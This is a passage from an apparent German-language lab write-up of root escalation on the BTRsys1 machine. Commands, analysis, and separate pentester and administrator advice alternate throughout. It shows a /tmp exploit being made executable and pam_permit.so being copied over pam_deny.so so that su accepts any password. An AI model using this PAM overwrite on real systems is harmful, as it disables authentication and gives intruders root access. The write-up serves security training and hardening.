Empfehlung (Pentester): Aktiv nach Exploits für Linux Kernel 3.13.0-32 suchen, die auf Ubuntu (14.04 Trusty Tahr basiert auf diesem Kernel-Zweig) funktionieren und von einem niedrig privilegierten Benutzer wie `www-data` ausgeführt werden können. Ein passender Exploit (oft als C-Code verfügbar) müsste kompiliert (`gcc`) und auf das Zielsystem hochgeladen (z.B. über das `/uploads`-Verzeichnis oder `/tmp`) und ausgeführt werden.
Empfehlung (Admin): Das Betriebssystem und den Kernel dringend aktualisieren. Ein Upgrade auf eine unterstützte Ubuntu LTS-Version ist dringend empfohlen.
$ uname -a Linux BTRsys1 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux
Analyse: Ein nicht näher spezifizierter Exploit (`exploit`) wird im Verzeichnis `/tmp` ausführbar gemacht (`chmod +x exploit`).
Bewertung: Dies deutet darauf hin, dass der Pentester einen Exploit (wahrscheinlich einen Kernel-Exploit basierend auf `uname -a` oder einen anderen lokalen Exploit) nach `/tmp` hochgeladen oder dort erstellt hat. `/tmp` ist oft beschreibbar und ein gängiger Ort für solche Aktionen.
Empfehlung (Pentester): Den Exploit nun ausführen (`./exploit`). Oft erzeugen solche Exploits direkt eine Root-Shell oder führen einen bestimmten Befehl als Root aus.
Empfehlung (Admin): Das Ausführen von Programmen aus `/tmp` einschränken (z.B. durch Mounten mit `noexec`-Option, obwohl dies oft umgangen werden kann). Intrusion Detection Systeme (IDS) können das Hochladen und Ausführen bekannter Exploits erkennen. Das System patchen, um die Anfälligkeit für den Exploit zu beseitigen.
$ chmod +x exploit
Analyse: Der Pentester versucht, mit `su -` (oder `su -l`) eine Login-Shell als Root zu starten. Es wird nach einem Passwort gefragt.
Bewertung: Es ist unklar, welches Passwort hier eingegeben wird, oder ob dieser `su`-Versuch *nach* einem erfolgreichen Exploit stattfindet, der möglicherweise etwas an der Authentifizierung geändert hat. Direkt nach dem `chmod` ergibt dieser Schritt wenig Sinn, es sei denn, der `exploit` wurde bereits im Hintergrund ausgeführt oder es wird eine alternative Methode versucht. **Jedoch** wird im nächsten Schritt eine PAM-Manipulation gezeigt, die diesen `su`-Versuch plausibel macht. Es ist wahrscheinlich, dass der `chmod +x exploit`-Schritt ein Überbleibsel eines anderen Versuchs war und die PAM-Manipulation der *tatsächliche* nächste Schritt ist.
Empfehlung (Pentester): Wenn das Root-Passwort unbekannt ist, ist `su` normalerweise nicht der Weg. Sich auf Exploits oder Fehlkonfigurationen konzentrieren. Falls die PAM-Manipulation (nächste Schritte) durchgeführt wird, sollte `su` danach ohne Passwort oder mit einem beliebigen Passwort funktionieren.
Empfehlung (Admin): `su`-Zugriff einschränken (z.B. nur Mitglieder einer bestimmten Gruppe erlauben). Root-Login überwachen.
$ su - Password:
Analyse: Der Pentester sucht nach der PAM-Bibliothek `pam_permit.so`. PAM (Pluggable Authentication Modules) ist das Framework, das unter Linux die Authentifizierung steuert. `pam_permit.so` ist ein Modul, das Authentifizierungen *immer* erlaubt.
Bewertung: Die Datei wird unter `/lib/i386-linux-gnu/security/pam_permit.so` gefunden. Dies ist der Standardspeicherort auf diesem 32-Bit-Debian/Ubuntu-System.
Empfehlung (Pentester): Den Fundort notieren. Der nächste Schritt ist typischerweise, ein kritisches PAM-Modul (wie `pam_deny.so` oder Module, die von `su` oder `sshd` verwendet werden) durch `pam_permit.so` zu ersetzen oder die PAM-Konfigurationsdateien in `/etc/pam.d/` zu manipulieren, um `pam_permit.so` zu verwenden. Dies erfordert normalerweise Schreibrechte im Security-Verzeichnis oder auf die Konfigurationsdateien, was `www-data` normalerweise nicht hat. *Hier fehlt der Schritt, wie www-data Schreibrechte erlangt hat, um die nächste Aktion durchzuführen. Möglicherweise wurde der Kernel-Exploit doch ausgeführt? Oder es gibt eine andere Fehlkonfiguration.*
Empfehlung (Admin): Die Berechtigungen für `/lib/i386-linux-gnu/security/` und `/etc/pam.d/` sehr restriktiv halten (nur für Root schreibbar). Datei-Integritätsüberwachung (z.B. mit AIDE, Tripwire) einsetzen, um Manipulationen an kritischen Systemdateien wie PAM-Modulen zu erkennen.
$ find / -name pam_permit.so 2>/dev/null /lib/i386-linux-gnu/security/pam_permit.so
Analyse: Der Pentester kopiert (`cp`) das Modul `pam_permit.so` über das Modul `pam_deny.so`. `pam_deny.so` ist ein Modul, das Authentifizierungen *immer* ablehnt.
Bewertung: Wenn dieser Kopiervorgang erfolgreich ist (was, wie im vorherigen Schritt angemerkt, Schreibrechte erfordert, die `www-data` normalerweise nicht hat), wird jede Authentifizierungsprüfung, die normalerweise `pam_deny.so` aufrufen würde (oft am Ende einer PAM-Konfigurationskette als "Catch-all"), stattdessen `pam_permit.so` aufrufen und somit die Authentifizierung erlauben, selbst wenn alle vorherigen Prüfungen fehlgeschlagen sind. Dies kann dazu führen, dass Logins (z.B. mit `su`) ohne gültiges Passwort erfolgreich sind.
Empfehlung (Pentester): Nach diesem Schritt erneut versuchen, mit `su -` Root zu werden. Es sollte nun ohne Passwort oder mit einem beliebigen Passwort funktionieren. Dies ist der wahrscheinliche Weg, der zum Root-Prompt im nächsten Code-Block führt. *Es bleibt die Frage offen, wie die Schreibrechte erlangt wurden.*
Empfehlung (Admin): Datei-Integritätsüberwachung implementieren. Berechtigungen rigoros prüfen. Sicherstellen, dass der Webserver-Prozess keine Schreibrechte auf kritische Systemverzeichnisse hat.
$ cd /lib/i386-linux-gnu/security $ cp pam_permit.so pam_deny.so
Analyse: Der Pentester versucht nach der vermuteten PAM-Manipulation erneut, mit `su -` Root zu werden.
Bewertung: Der Prompt wechselt zu `root@BTRsys1:`. Der `su`-Befehl war erfolgreich! Die PAM-Manipulation hat funktioniert und dem Pentester Root-Zugriff verschafft. Die Passwortabfrage wurde effektiv umgangen.
Empfehlung (Pentester): Root-Zugriff bestätigt! Nun die Root-Flag suchen (typischerweise `/root/root.txt`) und weitere Post-Exploitation-Aktivitäten durchführen (System untersuchen, Persistenz, etc.). Die ursprüngliche PAM-Datei wiederherstellen (`cp pam_deny.so.bak pam_deny.so`, falls ein Backup gemacht wurde), um das Systemverhalten zu normalisieren (optional, je nach Scope).
Empfehlung (Admin): Die Sicherheitslücke, die die Schreibrechte für die PAM-Manipulation ermöglicht hat (Kernel-Exploit? Andere Fehlkonfiguration?), identifizieren und schließen. Die PAM-Module auf Integrität prüfen und die Originalversion wiederherstellen. Das System auf weitere Kompromittierungen untersuchen.
$ su -
Password: [BELIEBIGES ODER KEIN PASSWORT]
root@BTRsys1:~#
Analyse: Ein abschließender Kommentar im Bericht, der den erfolgreichen Abschluss der Privilegieneskalation zu Root durch die PAM-Manipulation hervorhebt.
Bewertung: Bestätigt das Erreichen des höchsten Privilegierungslevels durch die beschriebene Methode.
Empfehlung (Pentester): Bericht finalisieren, Schwachstellen (File Upload, alte Software, schwache DB-Passwörter, unklare Ursache für Schreibrechte auf PAM-Verzeichnis, PAM-Manipulation) und Flags dokumentieren.
Empfehlung (Admin): Den Bericht nutzen, um alle identifizierten Schwachstellen systematisch zu beheben.
Privilege Escalation erfolgreich
Analyse: Im bereitgestellten Berichtstext wurden keine Befehle zum Auslesen von `user.txt` oder `root.txt` gezeigt. Die folgenden Einträge sind Platzhalter für die typischen Speicherorte und Befehle zum Auffinden der Flags nach Erlangung des Benutzer- bzw. Root-Zugriffs.